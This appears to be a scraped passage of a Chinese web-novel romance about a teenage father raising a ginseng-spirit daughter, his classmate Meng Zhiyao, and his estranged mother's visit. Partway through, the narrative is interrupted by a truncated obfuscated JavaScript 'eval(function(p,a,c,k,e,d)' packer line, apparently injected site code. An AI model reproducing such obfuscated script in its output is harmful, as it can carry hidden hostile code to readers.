裴以砚语速悠悠,透着娓娓道来的松弛感:“熹熹,你妈妈今年十八岁,按照人类的算法她才刚成年,如果让别人知道她有个三岁的孩子,她会受到别人的指点,也会给她现在的家人带来巨大的不便和麻烦。” “你很爱她,也是很聪明的小妖怪,不用我多说你应该明白我的顾虑。” 熹熹不是真正的人类幼崽,还未化形之前享受过三百年的胎教,因此心智灵透,许多事一点就通。 “可是熹熹想和妈妈一起睡觉,想要妈妈叫熹熹乖宝,陪熹熹玩……” 小木马不摇了,小姑娘宛如正经受着狂风骤雨中的小蘑菇,小脑袋越垂越低。 裴以砚无法越过孟栀摇给出什么承诺。 思索再三,他走到熹熹跟前,蹲下身捏捏她:“我会争取多带你见见她。” 熹熹挑重点:“那、那熹熹什么时候可以和妈妈一起睡觉呢?” 他哪儿知道,裴以砚在心里接茬,没敢明目张胆说出来。 “等她上大学吧。” 如果孟栀摇在外地上大学,他可以带熹熹去找她,订个酒店满足小丫头的愿望。 “那还要多久哇?” “半年。” 那岂不是很快了,熹熹小脸一下多云转晴,破涕为笑。 * “摇摇,学校附近新开了家奶茶店,全场买一送一,放学一块儿去看看啊。” “不了,最近奶茶喝的有点多。” “哎呀去嘛去嘛,你多喝奶茶又不胖,不像我喝水都胖!”程小岑挽住孟栀摇胳膊撒娇,“我就你这一个奶茶搭子,你不在学校的时候我都没喝奶茶。” 孟栀摇想了下,她前阵子请假在家休息,也有一段时间没陪好朋友了。 “那好吧。”她同意了。 奶茶搭子回归,程小岑一放学就马不停蹄牵着孟栀摇直奔目的地。 “靠,挤爆了。” 程小岑扶额:“我的妈呀,这人也太多了吧。” 不大的门店前站满了人,店里为数不多的空间挤找不出下脚地,混杂着不同高中的校服。 见状,孟栀摇拉着小姐妹打退起堂鼓:“小岑,要不咱们改天再来,人太多了,排队都不知道要排到什么时候。” 学校附近奶茶店遍地开花,大不了换一家,没必要死守在这里。 “行吧。”程小岑叹着气往回走,“反正活动还有三天,下次咱们早点来。” 孟栀摇点头,俩人与两名路人匆匆擦肩,其中一人压抑着激动: “我跟你说这家店员的小哥哥超帅,皮肤比我还白,眉眼迷死人了!” “有那么夸张吗,不会是——卧槽,真TM帅啊,个头还高!” 程小岑帅哥雷达启动,腿还在走,头已经扭了过去,正巧碰见前台交班换人,顿时两眼瞪成了铜铃。 她捂住胸口激动的喊:“这家奶茶店够下血本的啊,连网红都请来了。” 网红俩字勾起了孟栀摇的兴趣。 她顺着程小岑目光回头看去,身子一下定在原地。 立在前台的男人头戴卫生帽,下半张脸被白色口罩遮挡,白色衬衫搭配咖色围裙,身材高大不说,还宽肩窄腰,裸露在外的皮肤冷白,小臂肌肉匀称线条流畅,潜藏着蓬勃的力量。 似乎察觉到她的视线,男人不带感情的一瞥,孟栀摇就那么毫无防备与他狭长漆黑的眼眸对上。 那是双她化成灰都认得出的眼睛。 孟栀摇脊背僵直,指尖无意识拧了拧袖口,呆呆看着。 片刻,男人又淡漠的收回视线,她终于呼出一口气。 耳边是程小岑捡到宝的声音:“摇摇,你看见没?他刚刚在看我们诶,走走,我们去买点个奶茶,看能不能趁机加个微信啥的!” “等等,小岑……” 那是,裴以砚啊。 排队现场人声鼎沸,程小岑一心想要见见帅气店员的庐山真面,根本没听到孟栀摇的提醒。 程小岑奋力挤到前台,身旁是默默缩成小鹌鹑的孟栀摇。 “帅哥,点单!”社牛程小岑笑眯眯的问,“全场都买一送一吗?” 帅气店员:“嗯,扫码点单。” 他如玉般的细白修长手指点了点二维码,手控党程小岑被迷得目不转睛。 靠,仙品啊,手替的好苗子! 后头还有人等着,孟栀摇扫完点单码便迅速拉着程小岑离开。 “哎摇摇,先别拉我,我还没问到微信啊。” “小岑,刚刚那么近的距离,你还看不出他是谁吗?” 程小岑唰地转回头:“谁啊?是咱们认识的还是你认识的?” 孟栀摇用余光偷偷看着旁边,压低了声音说出一个名字。 哈?裴以砚! “是他?你确定没认错???”程小岑一嗓子嚎了出来,俩眼瞪成鸡蛋那么大。 身后一道带着寒意的目光直直射来,俩人后心冷不丁凉了凉。 冷死了,好吧,这熟悉的小凉风,除了那个男人还有谁。 程小岑热情的小火苗刺啦浇灭,无精打采的嘀咕:“以前也没在其他地方见过他啊,怎么好端端突然跑来摇奶茶了,真是太奇怪了吧。” “我听说他每个月零花钱有五位数啊,这么多钱还不够花啊。” 孟栀摇低眉若有所思。 程小岑纳闷过后,开启了浮想联翩,从猜测对方是不是欠了网赌,到他有钱的富婆妈妈断了他的零花钱。 孟栀摇打断她:“小岑。” 她知道小姐妹想象力丰富,性格跳脱,是个分享欲旺盛的人。 班里的小八卦都是她一传十,十传百的宣传了出去,平时无伤大雅,但裴以砚在学校本就名声不好,她不希望程小岑的胡乱猜测雪上加霜。 孟栀摇说:“你暂时不要把他在这里兼职的事情说出去,他在哪里兼职,因为什么兼职是他的自由,我们就别乱猜了。” 程小岑心虚的摸摸鼻尖:“我也不是每次都会宣扬的人尽皆知……哎呀放心吧,这次我不会乱传的。” 说完话,俩人又在原地等了等,轮到她们的号了。 程小岑不敢上去拿,孟栀摇只好硬着头皮过去,两杯奶茶装在同个袋子里。 她粗略扫了一眼,表情顿了下,细声说:“裴以砚,我们没有点零食。” 这家奶茶店除了卖奶茶,还在卖品牌自营的小零食,奶茶袋子里塞了两包脆角和芝士卷。 裴以砚:“我知道,我送的。” 简短的六个字,却让孟栀摇面庞一点点烧起来。 少年提起奶茶袋子,挂到她手上,低低说了句:“欢迎下次光临。” 孟栀摇下意识抓紧了手上的重量,他已经扭向另一边,对其他顾客例行公事的重复同一句话。 少女潋滟的双眸弯了弯,柔声道了句谢,步伐轻快的转身。 从奶茶店里出来,程小岑咔嚓嚼着脆角,嘴里啧啧称赞:“这家奶茶店还真大方啊,不但买一送一还送小零食,这羊毛薅的我都不好意思了。” 孟栀摇笑了笑没说话。 晚上洗完澡出来,孟栀摇站在镜子前吹干头发,嘴角还挂着若有似无的微笑。 收拾完之后天色还早,突发奇想的动手给自己做了一只荷包,用来存放熹熹给她的人参须。 做完一只后想着不能厚此薄彼,干脆又做了两个小荷包,分别往里面塞了四种不同药材。 人与人之间的交往最注重礼尚往来,裴以砚送她小零食,她回一只小荷包是应该的。 同窗两年多里,她发现他经常在课上补觉,总是看起来很困,希望提神醒脑的香囊能帮到他。 送给熹熹的则是安抚情绪,凝神静气的香囊,小孩子容易情绪不稳定,这只香囊的香气是三个小荷包里最好闻的,甜而不腻。 熹熹应该会喜欢。 孟栀摇找了个可爱的包装袋,把两只胖滚滚的香囊装好放进书包里。 她小小的幻想了下父女俩人收到礼物会是怎样的表情,唇边笑意愈深。 想到最后实在困的不行,才揉了揉酸涩的眼睛,关灯上床睡觉。 * 裴以砚从奶茶店下班,踏着月色到家已经是晚上十点半。 他轻手轻脚进来,一推门屋内亮如白昼。 小丫头还没睡,歪歪扭扭窝在沙发里,一脸阳气被吸干的困倦。 加班的刘姨眼睛一亮:“小裴回来了啊。” 熹熹一激灵,噌噌两下坐起来:“爸爸!” 裴以砚:“……怎么还没睡?” “熹熹一直在等你,怎么哄都不肯睡。” 裴以砚内心暗爽,面上却挑眉,一副没开窍的冷酷:“等我干嘛?” 熹熹顺着他大腿咻咻往上爬:“当然是担心你呀。” 裴以砚托住她,浑不在意:“有什么好担心的,我一个大男人还能丢了。” “那可不嘛。” 熹熹煞有介事的教育他:“爸爸,男孩子一个人这么晚不回家是很危险的,万一你被其他小妖怪姐姐掳走,熹熹和妈妈就找不到你啦。” 当他唐僧啊,裴以砚无语:“得了吧,瞎操心。” 他示意刘姨可以下班了,然后抱着日渐圆润的女儿去卧室,把小崽子放到床上盖好被子。 “快说,你到底去干嘛了?” 裴以砚:“上班,给你赚奶粉钱。” “爸爸,熹熹不用喝奶粉哒。”熹熹小手搭在被子上,一脸真诚的说,“带熹熹吃香喷喷的土就好了。” 好久没吃土了,想想都有点馋呢。 养小孩子可以看育儿宝典,养小妖怪那就真是两眼抓瞎。 裴以砚就算知道被子里的小丫头是人参精,也无法想象把她种进土里吃土的场景。 万一被人撞见,他浑身长满嘴也说不清,保准第二天就上社会新闻。 “吃什么土,那玩意儿不喇嗓子?”裴以砚捂住她还要叭叭的小嘴,“好了,我去洗澡,你先睡。” 熹熹乖乖目送他离开,等他洗完澡回来,小孩儿已经睡出了小呼噜。 裴以砚擦干头发,掀开被子躺进去。 小丫头明明睡的很沉,身体却无比精准朝巨大的热源靠去。 裴以砚身上挂着小八爪鱼,面色如常打开游戏,亮度调到最低,摸黑沉浸式操作。 打了两把没意思,打开短视频软件随便刷了刷。 黑暗中,一声轻如鬼魅的笑声乍然一响。 裴以砚反射性搂住怀里的崽,悄悄拉高被子。 “嘿嘿。” ! 裴以砚魂儿都快飞了,心脏咚咚咚狂跳。 “爸爸,你咋啦?你这里好吵。” “……” 裴以砚一个鲤鱼打挺,低头和一双发亮的眼珠子对上。 差点爆粗:“你不是睡了吗??” 敢情那两声险些把他吓得心脏骤停的笑声是她发出来的! 裴以砚羞恼的五官都扭曲了,牙关咬的咯咯响。 “你不也没睡嘛。”小丫头振振有词,“爸爸,你不能只许州官放火,不许百姓点灯~” 被堵得哑口无言的裴以砚,摁摁额角:“……点你个头,睡觉!” 手机屏幕微弱的光芒一灭,熹熹均匀的小呼噜又打了起来。 裴以砚紧绷了一天的神经累瘫了,闭着眼睛迷迷糊糊的想,小妖怪果然会迷惑人,呼噜都是装的。 以后可不能再上当了。 * 刘漾在嘉木三中附近开了家奶茶店,开了高薪喊裴以砚过去撑场子。 说好听点是撑场子,实际是看中了裴以砚形象突出,好给他招揽生意。 互联网时代的爆火促成许多素人一夜成名,没准儿裴以砚也能爆出个最帅气奶茶小哥,那简直是双赢。 裴以砚周末有时间就去奶茶店忙几个小时,累了就回家休息,工资照样给。 熹熹在家里呆的无聊,裴以砚就带娃上班,奶茶店有两层,熹熹就在靠近门口的地方玩。 孟栀摇的香囊就是在那时候送出去的。 熹熹喜欢的不得了,每天出门必戴在身上,逢人问起就说是妈妈送的。 裴以砚没有刻意对同事隐瞒他和熹熹的关系,久而久之,大家都知道他未婚生子,有个三岁的女儿。 再看熹熹平常的表现,猜测小夫妻感情应该不错,可能住在一块儿。 同样的年纪,人家已经老婆孩子热炕头,这巨大的差距导致同事们不禁给他抬了一个辈分。 从小裴到裴哥只需一个崽的距离。 裴以砚对此没有任何反应,该怎样还怎样。 忙完元旦的第二天,裴以砚提前下班,带熹熹回家过节。 大街小巷过节气氛浓厚,回去路上他买了个小蛋糕,一盒新鲜的车厘子和丹东大草莓。 百草县烟花禁令不严,经过小卖部时他没忍住买了一小袋仙女棒,打算晚上带女儿玩儿一会儿。 元旦刘姨不上班,裴以砚回家后自己洗水果,然后掏出手机准备点一桌丰盛的外卖。 【砚哥,在家吗?】是邱明发来的消息。 裴以砚单手回复:【嗯。】 往年过元旦岚姨都会叫邱明喊他去吃饭,今年他想和女儿一起过。 【我点好外卖了,买了点水果,你带回去吃。】 消息发出去之后邱明没再回复,裴以砚也没在意,继续和女儿就点肯德基,还是炒菜争论。 “平时吃肯德基就算了,今天过节吃点儿好的成吗?” “肯德基好,全家桶好吃!” “你就这点出息。” 门铃忽地响了下,裴以砚瞟了眼门,低声嘱咐:“别说漏嘴,等下点肯德基。” 熹熹:“嗯嗯!” 裴以砚没有一点防备的开了门,门后却是一张意想不到的脸。 多年不见的周薏穿着富贵,脑后挽着一个温婉的发髻,岁月没有在她脸上留下多少痕迹。 周薏一如记忆中的白皙姣美,她微微一笑:“阿砚,怎么搬家了也不和妈妈说一声?害妈妈跑空了一趟。” “要不是问了你岚姨,妈妈都不知道你已经买了新房。” 裴以砚狠狠瞪了眼藏在周薏身后的邱明,邱明哭丧着脸,他也是被迫无奈啊,要是不老实交代,他妈妈的竹笋炒肉可不是闹着玩儿的。 眼见大儿子不接话,周薏心中忐忑加深,强撑着笑问:“阿砚,不请妈妈进去坐坐吗?” 裴以砚高大的身躯堵在门口,空气沉寂一阵,少年抬起没有一丝惊喜的眼眸。 冷淡的说:“家里有些乱,不太方便,我帮你订个酒店。” 周薏依旧温笑:“没关系,妈妈不介意,酒店再好也比不过有你在的地方啊。” 裴以砚从没和熹熹谈及过周薏,熹熹也不知道她还有个奶奶。 他不在乎周薏知道他有了女儿会大发雷霆或大失所望,他唯独在意的是熹熹重蹈他的覆辙,经历和他一样的童年。 母子俩站在门口地来回拉扯,裴以砚心不在焉,有些后悔没把动画片的声音调高些。 “爸爸,是不是邱明哥哥来啦,我听到他声音了。” 奶声奶气的一声爸爸突如其来。 周薏脑子卡顿了下,旋即惶然瞪大了眼:“阿砚,你……你真的……” 传言不是空穴来风,他的大儿子背着她偷偷有了孩子! 周薏至只觉得眼前一片天旋地转。 她连夜赶来萍水市就是因为雪岚说漏了嘴,大儿子家里多了个女孩儿,那孩子叫她儿子爸爸。 起初她没放在心上,可她了解雪岚,她不是那种无事生非,胡思乱想的人。 这些年来她之所以能安心在京市生活,多亏了雪岚替她照看儿子。 因此,她当晚立马就联想到了前阵子儿子一反常态的频繁请假,常常顾左右而言他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他那时候瘦弱的像一只可怜的小兽,没想到再见的时候,他已经变得那么高大冷漠,气场迫人。 周薏喉头发紧。 大儿子犯下了那么大的错,二十岁未婚生子,意味着他今后会一直被单身父亲的身份所捆绑、牵绊。 周薏心如刀绞,抓住裴以砚的手,痛心道:“阿砚,出了那么大的事为什么不和我说?你打算瞒我到什么时候?” 裴以砚转头吩咐邱明:“你先带熹熹出去。” 邱明如蒙大赦,忙不迭牵着熹熹溜回客厅,终于从修罗场逃出来了。 再待下去要倒大霉的! “你现在知道也不晚。” “哪里不晚!那孩子都三四岁了吧,而你才成年两年啊!”周薏脑子阵阵发晕,手脚发软的挣扎着起身,“那孩子母亲是谁?你们住在一起了吗?” “我不知道孩子母亲是谁。”裴以砚语气轻淡到仿佛在说别人的事,“不重要,我知道孩子是我的就行了。” 周薏气了个仰倒,音量抬高:“你说的什么话,孩子怎么能没有母亲?你是不是担心我对孩子母亲有偏见,所以瞒着不肯告诉我?” 裴以砚没有否认。 比起多年不见的母亲,他更愿意相信自己的判断。 接下来周薏不管怎么问,提出要给女方家多少钱,他都矢口不提孩子母亲半点信息,严防死守到底。 弄到最后周薏无可奈何,心底一片冰凉,揉着眉心换了一个问题。 “那孩子你打算怎么办?” “带在身边。” 周薏不能理解:“你怎么带?你明年六月就要高考,高考是一生中的大事,关乎你今后的发展,带个孩子在身边你还能好好学习吗?” 裴以砚:“我不打算上大学。” “……” 周薏大惊失色:“小砚,你知道你在说什么吗?不上大学你想干什么?你才多大!” “我去上班赚钱。”裴以砚看向她的目光很平静,“你别多想,我不是因为熹熹做的决定,在她出现之前我就已经这么打算了。” “不行!” 时隔多年,周薏第一次如此声色厉苒,仿佛裴以砚不是放弃了大学,而是放弃生命,下一秒就要从天台跳下去。 她拽住裴以砚手臂,力气大的指甲都陷进了肉里,苦口婆心道: “小砚,读书才是你的正事,远的不说就说你身边的同龄人,哪个不想考个好大学,将来有个好工作?妈妈不求你考个多好的大学,可你不能无所事事混日子,不能自甘堕落!” 刺耳的词句让裴以砚俊脸一沉。 “我自甘堕落也不牢你操心。”他忍着怒气,一字一句道,“你不是只有我一个儿子,何必在我身上浪费感情,有这个时间不如好好培养你的小儿子,省的他像我一样给你丢脸。” 周薏表情一凝,眼眶倏地红了,面庞淌下两道泪痕。 她露出伤心的眼神:“小砚,你还在怪妈妈当初没问你,就和陈叔叔结婚吗?” “我没有。” 就算他不同意又能改变什么,他第一次从周薏嘴里知道陈桉这个人时,周薏已经怀孕三个月了。 裴以砚不会也不屑一哭二闹三上吊。 周薏对大儿子的感情是复杂多面的,他的父亲裴晋是她的初恋,他们大学就谈上了恋爱,一毕业就结了婚。 恋爱时没有柴米油盐的烦心事,只有浪漫甜蜜,而结婚后从前看不到的东西都慢慢浮了出来。 裴晋有严重的大男子主义,他不喜欢周薏抛头露面的工作,所以婚后迫不及待和她生下了裴以砚。 裴晋在外做生意,刚开始生意很成功,他借着风口大赚了一笔。 他用赚来的钱全款买了房,请了保姆帮着周薏带孩子,让周薏享受了一段时间的优越生活。 好景不长,裴晋投资失败,公司一夜间破产,住了三年的房子卖了才勉强还清部分债务。 裴晋渴望着东山再起,可他的好运气已经用光了,无论做什么都没有起色。 接连打击下,裴晋一蹶不振,自甘堕落,染上赌瘾和毒瘾,最终酿成了惨剧。 裴晋被抓后没多久在监狱自尽,留下了一堆债务给周薏母子俩。 为了还清债务,周薏在裴以砚十岁那年离开了萍水市,成为一名北漂。 来到京市后的周薏犹如重获甘霖的野草,身边没有那张和前夫越来越像的脸,她感到了由内而外的轻松。 她在京市摸爬滚打,花费了五年时间站稳脚跟,遇到现任丈夫陈桉,决定放下过去和他组建新的家庭。 后来随着年岁的增长,她和裴以砚的联系越来越少,看着小儿子无忧无虑的笑脸,便时不时想起远在另一边的大儿子。 她后悔把裴以砚独自仍在百草县,想将他接到身边一起生活,但裴以砚早已不是那个傻傻等妈妈电话的孩子了。 他拒绝了周薏,选择独自生活。 多年来周薏一直试图用钱来弥补对大儿子的亏欠,她以为优渥的生活可以消除隔阂。 可大儿子还是离她越来越远了。 周薏掩面垂泪,啜泣声丝丝钻入裴以砚耳朵里。 他宁愿周薏打他骂他,也好过用那样的表情看他。 裴以砚心里闷闷的难受。 客房门小心开了一条缝,小姑娘的圆脑袋斜探进来,大大的眼睛盛着一点点担忧。 “爸爸,你和奶奶吵架了吗?” 裴以砚虎着脸:“没你的事,出去玩。” “可是……奶奶哭了。” 裴以砚沉默。 “爸爸,是因为熹熹吗?”熹熹咬着指节,询问里带着不安,“因为熹熹没人照顾,所以爸爸不想读书了。” 裴以砚:“不是,跟你没关系。” 熹熹往前走了两小步,软糯糯的说:“爸爸,其实熹熹可以自己照顾自己的,你不要和奶奶吵架了,好吗?” “没吵架。”裴以砚弹弹她脑门,燥郁的情绪逐渐平复,“你操心的还挺多,出去玩吧。” 他把熹熹支走,锁上门,重新转过身。 他不用刻意去看就知道女儿一定眼巴巴守在门口,他不想和周薏闹的太难看,让小不点看笑话。 裴以砚抿了抿唇,开口:“我自学完了大学课程,不会成为你口中无所事事的人。” 周薏愣了下。 “我会照顾好我自己和熹熹。”少年眉宇间的淡漠被冲淡了些,“我长大了知道自己在做什么,你顾好你现在的家庭吧。” 少年仿佛收起了身上的刺,神色寡淡平和,这样的改变反倒叫周薏内心更加酸楚。 她意识到大儿子在和她割席,划清界限。 周薏不再歇斯底里,她挥挥手让裴以砚出去,自己在房间里呆了好久。 再出来的时候,她补好了妆,头发整齐一丝不苟,笑意盈盈。 她握着三封鼓囊囊的红包,递了两个出去,还剩下一个最鼓的。 周薏半蹲在小姑娘跟前,温声细语:“熹熹你好,我是你爸爸的妈妈,你的奶奶。” “这是奶奶送你的见面红包,里面的钱随便花,希望你喜欢。” 邱明惊叹那红包的厚度,太壕了吧,目测最少一万块。 熹熹可太喜欢了,和平时薄薄的一百块零花钱一比,这红砖头似的大红包完胜! 她小奶音清脆响亮:“谢谢奶奶!” 说完,嘟起小嘴巴,吧唧亲了奶奶一口。 香香软软的小家伙零帧起手,直接把周薏哄的心花怒放。 裴以砚傻眼。 酸溜溜的顶了顶腮帮子,没良心的小东西,他辛苦带她那么久也没有过这待遇。 周薏骨子里是个温柔的女人,经过多年的沉淀,她的温柔更多的变成了优雅从容。 她在京市做阔太太,养尊处优多年,裴以砚以为她会选择住进附近的酒店,毕竟家里的客卧还没她在京市家的厕所大。 但周薏出乎意料的住了下来,她不再提那些激起裴以砚反感的话题,只是督促他按时上下学。 她在家里和刘姨一起照顾熹熹。 裴以砚能通过监控看见家里的情况,他看见周薏帮女儿扎新颖漂亮的小辫子。 这让他想起来,在他出生前周薏就想要个女儿,他出生穿的婴儿服都是女孩子的款式。 脑子里偶尔会闪过一些模模糊糊的片段,全是周薏给他扎小辫子,戴粉色发卡。 裴以砚藏在心底的防备一点点卸了下来。 有天他看见家里客厅没人,问了刘姨才知道周薏带着熹熹出去买衣服。 那天回来,熹熹从一个土味审美的小土妞爆改京圈大小姐,洋气的不行。 熹熹也很喜欢这个眼光时髦,会把她打扮的很漂亮的奶奶。 周薏一直梦想有个女儿,可惜生了两个全是男孩儿,小孙女的出现弥补了她的遗憾,尤其那张和儿子五官高度相似的脸。 常常让她产生一种她还生了个小女儿的既视感,抛去那些不安和挣扎,她是发自内心的喜欢和接受这个小孙女。 裴以砚上学的时候,她每天都会带着熹熹到处逛,有时候是公园,有时候是游乐场。 有天路过小区幼儿园,幼崽们成群结队玩耍的欢笑声吸引熹熹驻足观望,小丫头扒在栏杆边上一脸羡慕。 周薏轻轻拥着她:“熹熹,这是幼儿园,你想上幼儿园吗?” “幼儿园是干什么哒?” “是可以学习和玩耍的地方。” “像他们这样玩儿吗?” 周薏:“没错,里面全都是和你一样的小朋友,你们可以一起玩。” “那熹熹要上!” 周薏摸摸她的头,笑了起来。 晚上裴以砚放学回来,熹熹兴高采烈的提起了她想上幼儿园的事。 裴以砚皱眉,警觉地扫向周薏。 17. 17 周薏给裴以砚夹了一片脆笋,婉声:“今天和熹熹路过小区幼儿园,看到里面小朋友们玩儿的很开心,熹熹羡慕了也想要同伴呢。” 熹熹小鸡啄米的点头:“熹熹也要上幼儿园和小朋友一起玩!” 裴以砚很谨慎:“你太小了,明年再说吧。” 才三岁的小丫头,走路都不太稳当,万一被哪个小恶霸欺负了,他得气疯。 “熹熹三百岁了,一点都不小。”熹熹不服气的纠正,“熹熹是老大!” 裴以砚扯唇:“是个屁。” “小砚,在小孩子面前稳重点。”周薏不赞同的瞥他,“你是当爸爸的人了。” “……” 裴以砚低头扒饭,老实挨训,在教育孩子方面,周薏资历比他深,他为数不多的素质都来自于周薏的言传身教。 周薏:“小砚,熹熹正是玩闹和学习的年纪,把她关在家里容易无聊,不如让她去幼儿园里和小朋友们玩,也能锻炼下胆量。” 那小不点成天拔老虎胡须还需要锻炼胆量?? 裴以砚深深的不以为然:“上幼儿园能学习什么?” 他不是故意抬杠,而是确实感到疑惑,抛去亲爹滤镜,在自理能力这块,她的漏风小棉袄比同龄孩子要强百倍。 熹熹能乖乖的自主进食,不用家长追在屁股后面喂饭,拉完臭臭会自己擦屁股,冲厕所。 小孩儿不外乎吃喝拉撒这几样,小丫头都完成的很好,晚几年上幼儿园也无关紧要。 熹熹在一旁竖着耳朵听,急忙举手:“熹熹要小朋友!” 周薏笑了:“听见没,小丫头想要自己的朋友圈。” 裴以砚没有独断专行的毛病,不是涉及到原则性问题,他能有商有量。 既然小丫头自己强烈要求,他也就松口了:“现在幼儿园都快放假了,年后再联系幼儿园。” 年后入学算插班,不知道幼儿园会不会接收。 小县城幼儿园质量参差不齐,可供选择的余地较少,裴以砚选来选去都不满意。 不是嫌远了,就是嫌学校太旧。 烦闷之下甚至动了干脆自己办所幼儿园的心思。 孟栀摇发现最近两天裴以砚不在课上睡觉了,每天苦大仇深的捧着手机,眉心皱成一团。 自从家里养了个小朋友,冷冰冰的少年身上多了该有的鲜活。 孟稚摇低头摩挲着手机,犹豫再三,悄悄背过身,点开那个熟悉的头像。 只只:【我看你好像有心事,是和熹熹有关的事情吗?】 收到消息的裴以砚怔了怔,即刻收敛了外泄的情绪。 静下心一琢磨,选择学校这种事不能他一个人一拍脑袋决定,怎么着也该和熹熹的妈妈共同商量一下。 【熹熹想上幼儿园,我在选学校。】 他顺手把几家幼儿园的相关资料发了过去:【你抽空看看。】 孟栀摇惊讶,在对话框里删删改改:【三岁上幼儿园会不会太早了一点……】 她看过一点幼儿心理学,小朋友上幼儿园前期会出现分离焦虑症,家长如果没有好好引导,小朋友会变得容易缺乏安全感,产生厌学情绪。 【她闹着要上,没办法。】 孟栀摇从单调的词句中感受到了裴以砚老父亲的无奈。 她唇边漾出个梨涡,然后手比脑子快的连发两句。 只只:【不如带上熹熹一起去实地考察一下?】 只只:【小朋友的想法也很重要的,(*^▽^*)】 裴以砚睨着屏幕挑眉,微微偏头,幽沉的目光若有似无飘向某处。 刹那间,相隔两组座位的孟栀摇如芒在背,脑袋差点埋进胸里。 撤回消息的意义已经不大了。 【你什么时候方便?】 孟栀摇眼睛是盯着脚尖的,打字的动作却无比丝滑:【周六下午……OK吗?】 【行。】 孟稚摇仿佛脑后长了双眼睛,裴以砚视线一收回,她僵直的脊背便一点点松软。 “摇摇,你在看什么呢?” “!” 孟栀摇歘的熄灭平屏幕,一脸做贼心虚的抬头:“怎么了?” 程小岑敲了敲桌子:“我刚刚叫你好几遍了,你都没反应,看啥呢那么入神?” 孟栀摇有些顾左右而言他:“哦没什么,我就看看美食教程。” 程小岑狐疑的抬高了声音:“啊,你一个不进厨房的人要学做饭?” 这事儿经不得推敲,越想越可疑。 孟家家大业家,光保姆就请了四个,哪轮得到十指不沾阳春水的大小姐亲自下厨? 总不会是破产了。 程小岑露出了然的表情,弯腰悄咪咪问:“摇摇,你是不是在学做辣条啊?” “……嗯?” “不用这么麻烦,我请你吃啊。” 程小岑不由分说挽住孟栀摇胳膊,一边怜爱的摸摸头:“我知道叔叔阿姨平时看你很严,你从没喝过快乐水吃过辣条,今天就让我带你浅浅体验一把!” 前有总裁吃路边摊,今有大小姐吃辣条,没毛病。 “诶不是,要上课了啊——” * 周六下午,裴以砚提前从奶茶店下班回家,若无其事引导熹熹换上新衣服跟他出门。 他没告诉熹熹是去见妈妈,怕她太兴奋一不小心在周薏面前说漏嘴。 临出门前,熹熹身上的小套装令周薏眼前一亮,对裴以砚的品味赞不绝口。 “小砚,妈妈还以为你会是直男审美,没想到眼光不赖,这个童装品牌的设计太适合熹熹了。” 裴以砚哪懂什么童装品牌,那是前两天孟栀摇买的,快递直接寄到楼下。 多说多错,裴以砚敷衍的应付完,拉着熹熹火速出门。 双方约定在幼儿园门口见面,父女俩照旧提前十分钟到。 孟栀摇来的时候,裴以砚手里提着两杯奶茶和一小袋零食。 她一出现,小糯米团子强忍飞扑的欲望,跳起来大力摆手:“孟姐姐!” 近些天宋凌每天接孟栀摇上下学,一到周末就带她往医院跑,母女俩见面次数大大缩水。 熹熹每天像个小老太太掰着指头数日子,小小年纪愁眉苦脸。 双方顺利接头,熹熹钻进孟栀摇的怀里,才敢昂起小脸,软绵绵撒娇叫她妈妈。 “妈妈,熹熹好想你,你想熹熹吗?” 小家伙依恋的嗅着妈妈身上的香气,大眼睛扑闪扑闪。 孟栀摇在努力学习当一个好妈妈,惦记孩子是日常必修课。 她温柔回应:“妈妈每天都想熹熹。” 她蓄了会儿力把小丫头抱起来,眼波柔软,嘴唇贴在她耳边:“妈妈还给你准备了礼物哦。” 她出门前亲手做了一盒奶香味十足的雪花酥,小丫头应该会喜欢。 熹熹表情一亮:“对了妈妈,爸爸给你买了好吃哒!” “爸爸,快把好吃的拿过来。”熹熹小手一伸,不客气的指挥裴以砚。 裴以砚像过年被家长硬cue才艺的倒霉孩子,不情不愿的举了举奶茶和零食:“给你的。” “谢……” 最后一个谢字卡在嗓子眼里。 孟栀摇震惊的盯着那一袋花花绿绿的辣条语塞。 “不用谢。”裴以砚垂着眼帘,顿了下,淡淡说道,“不知道你喜欢吃哪个牌子的就都拿了点。” 孟栀摇:“……” 他是不是误会了什么,她说过她喜欢吃辣条吗??? 孟栀摇一头雾水,拼命回想自己在什么时候释放过错误信号。 熹熹歪着小脑袋:“妈妈,辣条是什么味道呀,吃了嘴巴会着火吗?” 小丫头偷吃过一点邱明带来的麻辣鸭脖,当场辣哭,嘴巴肿了一天,因此对辣这个字格外敏感。 “会。”孟栀摇轻声,“所以小孩儿不能吃。” “那妈妈嘴巴里着火了怎么办?” “没关系,我可以喝……” “我知道啦,爸爸可以帮妈妈灭火!” 三百岁的小妖怪头脑灵活,速度快到两个大人都没反应过来,她已经完成了闭眼撅嘴的打啵动作。 行云流水,惟妙惟肖。 裴以砚脸唰的黑了,一怒之下怒了下:“熹熹!” 熹熹:“干嘛?” “这话应该是我问你,你在干什么?”裴以砚咬着后槽牙,俊脸白里透红,“大庭广众之下,你羞不羞?” 熹熹两根小胖指对戳,表情澄澈无辜:“爸爸妈妈本来就是这样的嘛,熹熹又没乱说。” 强词夺理,火上浇油。 裴以砚眼角抽搐:“还敢振振有词,你交版权费没?” 孟栀摇:(⊙o⊙)… 熹熹:(⊙_⊙)? 母女俩满头拔不掉的问号。 “什么费?那是啥?爸爸,你别说奇奇怪怪的话。” 九漏鱼小团子摸不着头脑,遮住小嘴悄声:“你看,好多叔叔阿姨在笑话你。” 裴以砚虎躯一震,更气了。 那怪谁,还不都是拜她所赐,小爸爸满腹怨念无处发泄,恨恨瞪一眼自己的漏风小棉袄。 孟栀摇耳根的热度褪去,一手牵着小姑娘,回眸忍俊不禁:“我们先看看学校吧。” 一家三口先去看了两家最近的幼儿园,进去转了一圈就出来了,教室太小了,孩子活动范围拥挤,不得劲。 轮到第三家,负责带他们进去参观的工作人员急匆匆赶来。 “不好意思,临时有点事儿耽误了。” “没事,先进去吧。” 这家幼儿园是百草县唯一一所双语幼儿园,刚开园一年,教学楼和娱乐设施依旧崭新,做了防滑处理的操场宽敞又干净,多媒体教室窗明几净,玩具应有尽有。 小朋友们每周食谱不重样,营养均衡全面。 裴以砚听不懂那些营养搭配,但他长了张精明脸,浑身透着股学霸气质,又习惯不苟言笑,像极了领导家微服考察的太子爷。 负责人尽心尽力的全方位介绍,总体听下来除了费用比其他几家高出两倍,没什么大问题。 大致参观了一圈,熹熹全程表现的安静乖巧,直到看见停车场里两辆黄橙橙的卡通校车。 熹熹瞬间像通了电的灯泡,整个崽亮的惊人,嗷嗷叫着往前冲。 